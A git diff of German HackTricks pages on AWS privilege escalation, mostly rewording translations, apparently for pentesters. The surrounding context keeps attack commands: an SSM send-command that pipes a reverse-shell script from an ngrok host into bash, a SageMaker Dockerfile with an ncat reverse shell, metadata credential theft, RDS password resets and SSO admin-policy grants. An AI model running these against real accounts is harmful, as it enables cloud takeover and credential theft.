lesen**, um darauf zuzugreifen (du benötigst zusätzliche Berechtigungen, um das Geheimnis zu lesen).\ -Wenn **IAM-Rollenbasierte Authentifizierung** verwendet wird und **Kafka öffentlich exponiert ist**, könntest du diese Berechtigungen dennoch missbrauchen, um dir Berechtigungen für den Zugriff zu verschaffen. +Sie benötigen Zugriff auf die VPC, da **Sie keine None-Authentifizierung mit öffentlich exponiertem Kafka aktivieren können**. Wenn es öffentlich exponiert ist und **SASL/SCRAM**-Authentifizierung verwendet wird, könnten Sie **das Geheimnis lesen**, um darauf zuzugreifen (Sie benötigen zusätzliche Berechtigungen, um das Geheimnis zu lesen).\ +Wenn **IAM-Rollenbasierte Authentifizierung** verwendet wird und **Kafka öffentlich exponiert ist**, könnten Sie diese Berechtigungen dennoch missbrauchen, um Ihnen Berechtigungen für den Zugriff zu gewähren. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 01bd04525..9aa2314b1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -13,6 +13,6 @@ Für weitere Informationen siehe: ## Vom Management-Konto zu den Kinderkonten Wenn Sie das Root-/Management-Konto kompromittieren, besteht die Wahrscheinlichkeit, dass Sie alle Kinderkonten kompromittieren können.\ -Um [**zu lernen, wie Sie diese Seite überprüfen**](../#compromising-the-organization). +Um [**zu lernen, wie, überprüfen Sie diese Seite**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 2539efed8..b4361fe4a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen über RDS siehe: ### `rds:ModifyDBInstance` -Mit dieser Berechtigung kann ein Angreifer **das Passwort des Masterbenutzers ändern** und sich in die Datenbank einloggen: +Mit dieser Berechtigung kann ein Angreifer **das Passwort des Master-Benutzers ändern** und sich in die Datenbank einloggen: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -48,7 +48,7 @@ SELECT * FROM pg_extension; ``` Wenn Sie etwas wie **`aws_s3`** finden, können Sie davon ausgehen, dass diese Datenbank **irgendeine Art von Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**). -Wenn Sie außerdem die Berechtigung haben, **`aws rds describe-db-clusters`** auszuführen, können Sie dort sehen, ob der **Cluster eine IAM-Rolle zugewiesen hat** im Feld **`AssociatedRoles`**. Falls vorhanden, können Sie davon ausgehen, dass die Datenbank **vorbereitet wurde, um auf andere AWS-Dienste zuzugreifen**. Basierend auf dem **Namen der Rolle** (oder wenn Sie die **Berechtigungen** der Rolle erhalten können) könnten Sie **erraten**, auf welchen zusätzlichen Zugriff die Datenbank hat. +Wenn Sie außerdem die Berechtigung haben, **`aws rds describe-db-clusters`** auszuführen, können Sie dort sehen, ob der **Cluster eine IAM-Rolle zugewiesen hat** im Feld **`AssociatedRoles`**. Falls ja, können Sie davon ausgehen, dass die Datenbank **vorbereitet wurde, um auf andere AWS-Dienste zuzugreifen**. Basierend auf dem **Namen der Rolle** (oder wenn Sie die **Berechtigungen** der Rolle erhalten können) könnten Sie **vermuten**, welchen zusätzlichen Zugriff die Datenbank hat. Um nun **eine Datei in einem Bucket zu lesen**, müssen Sie den vollständigen Pfad kennen. Sie können es mit folgendem Befehl lesen: ```sql @@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') Führen Sie im mysql **`show variables;`** aus und wenn die Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, können Sie davon ausgehen, dass die Datenbank vorbereitet ist, um auf S3-Daten zuzugreifen. -Wenn Sie außerdem die Berechtigung haben, **`aws rds describe-db-clusters`** auszuführen, können Sie überprüfen, ob der Cluster eine **assoziierte Rolle** hat, was normalerweise den Zugriff auf AWS-Dienste bedeutet. +Außerdem, wenn Sie die Berechtigungen haben, **`aws rds describe-db-clusters`** auszuführen, können Sie überprüfen, ob der Cluster eine **assoziierte Rolle** hat, was normalerweise den Zugriff auf AWS-Dienste bedeutet. Um nun **eine Datei innerhalb eines Buckets zu lesen**, müssen Sie den vollständigen Pfad kennen. Sie können sie mit lesen: ```sql @@ -131,7 +131,7 @@ Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` k > - Das Profil muss in Ihrem Konto existieren. > - Das Profil muss eine IAM-Rolle haben, die Amazon EC2 die Berechtigung hat, zu übernehmen. -> - Der Name des Instanzprofils und der zugehörige IAM-Rollenname müssen mit dem Präfix `AWSRDSCustom` beginnen. +> - Der Name des Instanzprofils und der zugehörige Name der IAM-Rolle müssen mit dem Präfix `AWSRDSCustom` beginnen. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` @@ -142,7 +142,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine bestimmte Rolle zu einer bestehenden RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern. > [!WARNING] -> Die DB-Instanz muss außerhalb eines Clusters sein, um dies zu ermöglichen. +> Die DB-Instanz muss außerhalb eines Clusters sein, damit dies funktioniert. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 6991de034..67eb5afc9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen zu RDS siehe: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -Mit diesen Berechtigungen kannst du **Informationen über alle Cluster** (einschließlich Name und Cluster-Benutzernamen) abrufen und **Zugangsdaten** erhalten, um darauf zuzugreifen: +Mit diesen Berechtigungen können Sie **Informationen zu allen Clustern** (einschließlich Name und Cluster-Benutzername) abrufen und **Zugangsdaten** zum Zugriff darauf erhalten: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 @@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Es ist möglich, das **Master-Passwort** des internen postgres (redshift) Benutzers über die aws cli zu **ändern** (ich denke, das sind die Berechtigungen, die Sie benötigen, aber ich habe sie noch nicht getestet): +Es ist möglich, das **Master-Passwort** des internen postgres (redshift) Benutzers über die aws cli zu **ändern** (ich denke, das sind die Berechtigungen, die du benötigst, aber ich habe sie noch nicht getestet): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 7b147a513..1e142ea91 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ Ein Angreifer mit diesen Berechtigungen über interessante Buckets könnte in der Lage sein, Ressourcen zu übernehmen und Privilegien zu eskalieren. -Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen Cloudformation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden: +Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen CloudFormation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Bereitstellung übernehmen. Der Zugriff kann mit der folgenden Richtlinie gewährt werden: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen über einen Cloudfor ] } ``` -Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment, in dem die **Vorlage bereitgestellt wird**, gibt. Ein Angreifer könnte einfach eine **Lambda-Funktion** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**. +Und die Übernahme ist möglich, weil es ein **kleines Zeitfenster vom Moment des Hochladens der Vorlage** in den Bucket bis zum Moment der **Bereitstellung der Vorlage** gibt. Ein Angreifer könnte einfach eine **lambda-Funktion** in seinem Konto erstellen, die **ausgelöst wird, wenn eine Bucket-Benachrichtigung gesendet wird**, und **übernimmt** den **Inhalt** dieses **Buckets**. ![](<../../../images/image (174).png>) @@ -52,7 +52,7 @@ Hier sind einige Beispiele: ### `s3:PutBucketPolicy` -Ein Angreifer, der **aus demselben Konto** sein muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über den Bucket(s) gewähren, die es ihm ermöglichen, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen. +Ein Angreifer, der **aus demselben Konto** stammen muss, andernfalls wird der Fehler `Die angegebene Methode ist nicht erlaubt` ausgelöst, kann mit dieser Berechtigung sich selbst mehr Berechtigungen über den Bucket(s) gewähren, was ihm erlaubt, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -138,7 +138,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Ein Angreifer könnte diese Berechtigungen ausnutzen, um ihm mehr Zugriff auf bestimmte Objekte in Buckets zu gewähren. +Ein Angreifer könnte diese Berechtigungen missbrauchen, um ihm mehr Zugriff auf bestimmte Objekte in Buckets zu gewähren. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 4f9d8a81f..32a41a52c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -12,12 +12,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notizbuchinstanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notizbuchinstanz zuzugreifen, sobald sie bereit ist: +Die Antwort sollte ein Feld `NotebookInstanceArn` enthalten, das die ARN der neu erstellten Notebook-Instanz enthält. Wir können dann die API `create-presigned-notebook-instance-url` verwenden, um eine URL zu generieren, die wir verwenden können, um auf die Notebook-Instanz zuzugreifen, sobald sie bereit ist: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Navigiere mit dem Browser zur URL und klicke auf \`Open JupyterLab\` im oberen rechten Bereich, scrolle dann zum Tab “Launcher” und klicke im Abschnitt “Other” auf die Schaltfläche “Terminal”. +Navigieren Sie mit dem Browser zur URL und klicken Sie auf \`Open JupyterLab\` im oberen rechten Bereich, scrollen Sie dann zum Tab “Launcher” und klicken Sie im Abschnitt “Other” auf die Schaltfläche “Terminal”. Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzugreifen. @@ -25,7 +25,7 @@ Jetzt ist es möglich, auf die Metadaten-Anmeldeinformationen der IAM-Rolle zuzu ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Wenn bereits Jupyter **Notebooks darauf ausgeführt werden** und du sie mit `sagemaker:ListNotebookInstances` auflisten kannst (oder sie auf andere Weise entdecken kannst). Du kannst **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie in der vorherigen Technik angegeben**. +Wenn bereits Jupyter **Notebooks darauf ausgeführt werden** und Sie sie mit `sagemaker:ListNotebookInstances` auflisten können (oder sie auf andere Weise entdecken). Sie können **eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, einen Trainingsjob zu erstellen, **ein beliebiges Container** darauf auszuführen mit einer **angehängten Rolle**. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen. +Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, **ein beliebiges Container** darauf ausführen mit einer **angehängten Rolle**. Daher wird der Angreifer in der Lage sein, die Anmeldeinformationen der Rolle zu stehlen. > [!WARNING] > Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image erstellen müssen, das die rev shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben). @@ -59,13 +59,13 @@ Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, einen Trainingsjo > mkdir /tmp/rev > ## Beachten Sie, dass der Trainingsjob ein ausführbares Programm namens "train" aufrufen wird > ## Deshalb lege ich die rev shell in /bin/train -> ## Setzen Sie die Werte von und +> ## Setzen Sie die Werte von und > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl -> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train +> RUN printf '#!/bin/bash\nncat -e /bin/sh' > /bin/train > RUN chmod +x /bin/train -> CMD ncat -e /bin/sh +> CMD ncat -e /bin/sh > EOF > > cd /tmp/rev @@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` Ein Angreifer mit diesen Berechtigungen wird (potenziell) in der Lage sein, einen **Hyperparameter-Trainingsjob** zu erstellen, **einen beliebigen Container** darauf auszuführen und eine **angehängte Rolle** zu verwenden.\ -&#xNAN;_I habe nicht ausgebeutet wegen Zeitmangel, sieht aber ähnlich aus wie die vorherigen Ausbeutungen, zögere nicht, einen PR mit den Ausbeutungsdetails zu senden._ +&#xNAN;_I habe nicht ausgebeutet wegen Zeitmangel, sieht aber ähnlich aus wie die vorherigen Exploits, zögere nicht, einen PR mit den Ausnutzungsdetails zu senden._ ## Referenzen diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 70f6e8b5e..a25ae3669 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -32,6 +32,6 @@ Ein Angreifer könnte unbefugten Benutzern oder Diensten Zugriff auf ein SNS-The ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung der normalen Funktionalität für Anwendungen, die auf das Thema angewiesen sind. +**Potenzielle Auswirkungen**: Unbefugter Zugriff auf das Thema, Nachrichtenexposition oder Themenmanipulation durch unbefugte Benutzer oder Dienste, Störung des normalen Betriebs für Anwendungen, die auf das Thema angewiesen sind. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 2895c997f..235abafca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -29,7 +29,7 @@ aws sqs send-message-batch --queue-url --entries ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen könnte, die auf diese Nachrichten angewiesen sind. +Ein Angreifer könnte Nachrichten in einer SQS-Warteschlange empfangen, löschen oder die Sichtbarkeit von Nachrichten ändern, was zu Nachrichtenverlust, Datenkorruption oder Dienstunterbrechungen für Anwendungen führen kann, die auf diese Nachrichten angewiesen sind. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index e57453639..5dc367023 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal erfassen mit: +Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal mit folgendem Befehl erfassen: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ ### `ssm:StartSession` -Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Sitzung in Instanzen** starten, die den Amazon SSM-Agenten ausführen, und **die IAM-Rolle** kompromittieren, die darin läuft. +Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Sitzung in Instanzen** starten, die den Amazon SSM-Agenten ausführen, und **die IAM-Rolle** kompromittieren, die darin ausgeführt wird. ```bash # Check for configured instances aws ssm describe-instance-information @@ -52,7 +52,7 @@ aws ssm start-session --target "$INSTANCE_ID" #### Privilegieneskalation zu ECS Wenn **ECS-Aufgaben** mit **`ExecuteCommand` aktiviert** ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen `ecs execute-command` verwenden, um **einen Befehl** innerhalb des Containers auszuführen.\ -Laut [**der Dokumentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den “_exec_“-Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert)\ +Laut [**der Dokumentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den “_exec_“ Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert)\ Daher werden Benutzer mit `ssm:StartSession` in der Lage sein, **eine Shell innerhalb von ECS-Aufgaben** mit dieser Option aktiviert zu erhalten, indem sie einfach Folgendes ausführen: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" @@ -63,7 +63,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ### `ssm:ResumeSession` -Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine **SSH-ähnliche Sitzung in Instanzen** neu **starten**, die den Amazon SSM-Agenten mit einem **getrennten** SSM-Sitzungsstatus ausführen und die **IAM-Rolle** kompromittieren, die darin läuft. +Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM-Agenten ausführen, mit einem **getrennten** SSM-Sitzungsstatus **neu starten** und die IAM-Rolle, die darin ausgeführt wird, **kompromittieren**. ```bash # Check for configured instances aws ssm describe-sessions @@ -76,14 +76,14 @@ aws ssm resume-session \ ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die **SSM-Parameter** aufzulisten und **sie im Klartext zu lesen**. In diesen Parametern findet man häufig **sensible Informationen** wie SSH-Schlüssel oder API-Schlüssel. +Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die **SSM-Parameter** aufzulisten und **diese im Klartext zu lesen**. In diesen Parametern kann man häufig **sensible Informationen** wie SSH-Schlüssel oder API-Schlüssel finden. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` -**Potenzielle Auswirkungen:** Finden Sie sensible Informationen in den Parametern. +**Potenzielle Auswirkungen:** Sensible Informationen innerhalb der Parameter finden. ### `ssm:ListCommands` @@ -107,7 +107,7 @@ aws ssm get-command-invocation --command-id --instance-id ### Codebuild -Sie können SSM auch verwenden, um in ein Codebuild-Projekt, das gerade erstellt wird, einzudringen: +Sie können SSM auch verwenden, um in ein Codebuild-Projekt, das gerade erstellt wird, einzutreten: {{#ref}} aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 2747ba8b3..ef8b7111d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -11,13 +11,13 @@ Für weitere Informationen über AWS Identity Center / AWS SSO siehe: {{#endref}} > [!WARNING] -> Beachte, dass **standardmäßig** nur **Benutzer** mit Berechtigungen **aus** dem **Management-Konto** auf den **IAM Identity Center** zugreifen und ihn **steuern** können.\ -> Benutzer aus anderen Konten können dies nur zulassen, wenn das Konto ein **Delegierter Administrator** ist.\ +> Beachte, dass **standardmäßig** nur **Benutzer** mit Berechtigungen **aus** dem **Management-Konto** auf das **IAM Identity Center** zugreifen und es **steuern** können.\ +> Benutzer aus anderen Konten können dies nur erlauben, wenn das Konto ein **Delegierter Administrator** ist.\ > [Siehe die Dokumentation für weitere Informationen.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) ### ~~Passwort zurücksetzen~~ -Eine einfache Möglichkeit, Privilegien in solchen Fällen zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst. +Ein einfacher Weg, um Privilegien in solchen Fällen zu eskalieren, wäre, eine Berechtigung zu haben, die es erlaubt, die Passwörter der Benutzer zurückzusetzen. Leider ist es nur möglich, eine E-Mail an den Benutzer zu senden, um sein Passwort zurückzusetzen, sodass du Zugriff auf die E-Mail des Benutzers benötigst. ### `identitystore:CreateGroupMembership` @@ -27,7 +27,7 @@ aws identitystore create-group-membership --identity-store-id --group- ``` ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset hinzufügen, das einem Benutzer unter seiner Kontrolle gewährt wird. +Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml @@ -50,7 +50,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset hinzufügen, das einem Benutzer unter seiner Kontrolle gewährt wird. +Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -60,7 +60,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio ``` ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle gewährt wird. +Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen zu einem Berechtigungsset gewähren, das einem Benutzer unter seiner Kontrolle zugewiesen ist. > [!WARNING] > Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den **Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN betroffenen Konten vorhanden ist**. @@ -83,11 +83,11 @@ Gibt die STS- kurzfristigen Anmeldeinformationen für einen bestimmten Rollennam ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -Allerdings benötigen Sie ein Zugriffstoken, dessen Beschaffung mir unklar ist (TODO). +Sie benötigen jedoch ein Zugriffstoken, dessen Beschaffung ich nicht sicher weiß (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird. +Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer AWS verwalteten Richtlinie und dem angegebenen Berechtigungsset entfernen. Es ist möglich, mehr Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` @@ -99,13 +99,13 @@ aws sso-admin detach-customer-managed-policy-reference-from-permission-set --ins ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Ablehnungsrichtlinie) abgetrennt wird**. +Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie des Berechtigungssets entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem eine Inline-Richtlinie (Verweigerungsrichtlinie) abgetrennt wird**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -Ein Angreifer mit dieser Berechtigung kann die Berechtigungsgrenze aus dem Berechtigungsset entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Berechtigungsgrenze gegeben werden, entfernt werden.** +Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Berechtigungsset entfernen. Es ist möglich, **mehr Berechtigungen zu gewähren, indem die Einschränkungen des Berechtigungssets, die von der Permission Boundary gegeben werden, entfernt werden.** ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 56bbd7a58..1b71559a4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -10,26 +10,26 @@ Für weitere Informationen zu diesem AWS-Dienst, siehe: ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### Task-Ressourcen -Diese Techniken zur Eskalation von Berechtigungen erfordern die Nutzung einiger AWS Step Function-Ressourcen, um die gewünschten Aktionen zur 